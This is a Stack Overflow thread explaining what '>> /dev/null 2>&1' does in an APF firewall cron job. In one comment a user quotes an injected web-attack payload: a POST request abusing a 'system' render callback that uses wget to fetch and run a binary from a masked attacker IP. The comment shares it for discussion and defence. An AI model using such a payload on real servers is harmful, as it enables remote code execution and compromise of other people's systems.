408

I found this piece of code in /etc/cron.daily/apf

#!/bin/bash  
/etc/apf/apf -f >> /dev/null 2>&1  
/etc/apf/apf -s >> /dev/null 2>&1  

It's flushing and reloading the firewall.
I don't understand the >> /dev/null 2>&1 part.

What is the purpose of having this in the cron? It's overriding my firewall rules. Can I safely remove this cron job?

codeforester
  • 39,467
  • 16
  • 112
  • 140
resting
  • 16,287
  • 16
  • 59
  • 90
  • 40
    @Josh: why make things even more cryptic than they already are? – endolith Nov 26 '13 at 14:48
  • 4
    @Josh This closes the respective FDs, which could make the programs abort. – glglgl Apr 09 '14 at 07:03
  • 2
    is ```2>&1 > /dev/null``` the same as ```> /dev/null 2>&1 ```? It seems more natural to me... – edelans Sep 10 '14 at 16:50
  • 11
    @edelans No. That way redirects stderr to the stdout, but then only the original stdout to `/dev/null`—stderr will still be output. Try the tool at https://gist.github.com/zigg/344361751c0110419b0f – Mattie May 18 '15 at 15:18
  • 2
    `>> /dev/null 2>&1` can also be written as `&> /dev/null`. See: [What does &> do in bash?](https://stackoverflow.com/q/24793069/6862601). – codeforester Jul 06 '18 at 19:42

10 Answers10

533

>> /dev/null redirects standard output (stdout) to /dev/null, which discards it.

(The >> seems sort of superfluous, since >> means append while > means truncate and write, and either appending to or writing to /dev/null has the same net effect. I usually just use > for that reason.)

2>&1 redirects standard error (2) to standard output (1), which then discards it as well since standard output has already been redirected.

Mattie
  • 20,280
  • 7
  • 36
  • 54
464

Let's break >> /dev/null 2>&1 statement into parts:


Part 1: >> output redirection

This is used to redirect the program output and append the output at the end of the file. More...


Part 2: /dev/null special file

This is a Pseudo-devices special file.

Command ls -l /dev/null will give you details of this file:

crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null

Did you observe crw? Which means it is a pseudo-device file which is of character-special-file type that provides serial access.

/dev/null accepts and discards all input; produces no output (always returns an end-of-file indication on a read). Reference: Wikipedia


Part 3: 2>&1 (Merges output from stream 2 with stream 1)

Whenever you execute a program, the operating system always opens three files, standard input, standard output, and standard error as we know whenever a file is opened, the operating system (from kernel) returns a non-negative integer called a file descriptor. The file descriptor for these files are 0, 1, and 2, respectively.

So 2>&1 simply says redirect standard error to standard output.

& means whatever follows is a file descriptor, not a filename.

In short, by using this command you are telling your program not to shout while executing.

What is the importance of using 2>&1?

If you don't want to produce any output, even in case of some error produced in the terminal. To explain more clearly, let's consider the following example:

$ ls -l > /dev/null

For the above command, no output was printed in the terminal, but what if this command produces an error:

$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory

Despite I'm redirecting output to /dev/null, it is printed in the terminal. It is because we are not redirecting error output to /dev/null, so in order to redirect error output as well, it is required to add 2>&1:

$ ls -l file_doesnot_exists > /dev/null 2>&1
Vishrant
  • 15,456
  • 11
  • 71
  • 120
  • 10
    Good example! Don't know ' >' won't redirect 'STDERR' before. – miao.wang Feb 05 '18 at 18:52
  • 1
    Nicely explained! very informative. thanks. It would help me to understand the web attack that I recently came across. Attacker is injecting some malicious code through POST request which contains above piece of code. – Sohel Pathan May 16 '18 at 06:09
  • @SohelPathan oh thats interesting, could you please share more details about it? How were they doing that? And how did you realized that its getting hacked? And how you protected it? – Vishrant May 16 '18 at 06:19
  • 1
    @Vishrant Injected code is like : POST /user/password?name[%23post_render][]=system&name[%23markup]=cd+/tmp;wget+-O+xm111+http://xxx.xxx.xxx.xxx/xm111;chmod+777+xm111;wget+-O+config.json+http://xxx.xxx.xxx.xxx/m.json;chmod+777+config.json;./xm111 > /dev/null 2>&1 & HTTP/1.1 xxx.xxx.xxx.xxx is attacker's IP and it is also listed as abusive in many sites. First and foremost preventive step is block the IP in firewall as well as pattern of such IPs. Attack was to redirect on 3rd party website on home page loading. Apache server log shown doubtful IP and request. – Sohel Pathan May 16 '18 at 06:31
  • 29
    I was just wondering why we are not using '&' before 2 as well. Could someone please clear my doubt? – Snehasish Karmakar Aug 03 '18 at 10:23
  • 11
    @SnehasishKarmakar a legitimate question. I believe OS is smart enough to understand that first argument will be a file descriptor but `>` is a redirection operator, whatever follows redirection operator is expected to be a file location adding `&` before `1` indicates that it is not a file where application have to redirect the output but a file descriptor. I will appreciate if someone can add more details of this comment. – Vishrant Aug 17 '18 at 15:25
88

This is the way to execute a program quietly, and hide all its output.

/dev/null is a special filesystem object that discards everything written into it. Redirecting a stream into it means hiding your program's output.

The 2>&1 part means "redirect the error stream into the output stream", so when you redirect the output stream, error stream gets redirected as well. Even if your program writes to stderr now, that output would be discarded as well.

Sergey Kalinichenko
  • 714,442
  • 84
  • 1,110
  • 1,523
  • 50
    Actually, `2>&1` actually redirects `stderr` to `stdout`. The difference between this and what you claimed is best illustrated by swapping the order of the redirects, e.g. `2>&1 >/dev/null`. – Mattie Dec 06 '12 at 14:47
41

Let me explain a bit by bit.

0,1,2

0: standard input
1: standard output
2: standard error

>>

>> in command >> /dev/null 2>&1 appends the command output to /dev/null.

command >> /dev/null 2>&1

  1. After command:
command
=> 1 output on the terminal screen
=> 2 output on the terminal screen
  1. After redirect:
command >> /dev/null
=> 1 output to /dev/null
=> 2 output on the terminal screen
  1. After /dev/null 2>&1
command >> /dev/null 2>&1
=> 1 output to /dev/null
=> 2 output is redirected to 1 which is now to /dev/null
shin
  • 31,901
  • 69
  • 184
  • 271
25

/dev/null is a standard file that discards all you write to it, but reports that the write operation succeeded.

1 is standard output and 2 is standard error.

2>&1 redirects standard error to standard output. &1 indicates file descriptor (standard output), otherwise (if you use just 1) you will redirect standard error to a file named 1. [any command] >>/dev/null 2>&1 redirects all standard error to standard output, and writes all of that to /dev/null.

Peter Mortensen
  • 30,738
  • 21
  • 105
  • 131
Yuriy Vasylenko
  • 3,031
  • 25
  • 25
9

I use >> /dev/null 2>&1 for a silent cronjob. A cronjob will do the job, but not send a report to my email.

As far as I know, don't remove /dev/null. It's useful, especially when you run cPanel, it can be used for throw-away cronjob reports.

Peter Mortensen
  • 30,738
  • 21
  • 105
  • 131
Christian
  • 91
  • 1
  • 1
2

As described by the others, writing to /dev/null eliminates the output of a program. Usually cron sends an email for every output from the process started with a cronjob. So by writing the output to /dev/null you prevent being spammed if you have specified your adress in cron.

FSMaxB
  • 2,280
  • 3
  • 22
  • 41
0

instead of using >/dev/null 2>&1 Could you use : wget -O /dev/null -o /dev/null example.com

what i can see on the other forum it says. "Here -O sends the downloaded file to /dev/null and -o logs to /dev/null instead of stderr. That way redirection is not needed at all."

and the other solution is : wget -q --spider mysite.com

https://serverfault.com/questions/619542/piping-wget-output-to-dev-null-in-cron/619546#619546

0

I normally used the command in connection with the log files… purpose would be to catch any errors to evaluate/troubleshoot issues when running scripts on multiple servers simultaneously.

sh -vxe cmd > cmd.logfile 2>&1
fauzimh
  • 594
  • 4
  • 16
pz0bp9
  • 1
-3

Edit /etc/conf.apf. Set DEVEL_MODE="0". DEVEL_MODE set to 1 will add a cron job to stop apf after 5 minutes.

jww
  • 97,681
  • 90
  • 411
  • 885
dstonek
  • 945
  • 1
  • 20
  • 33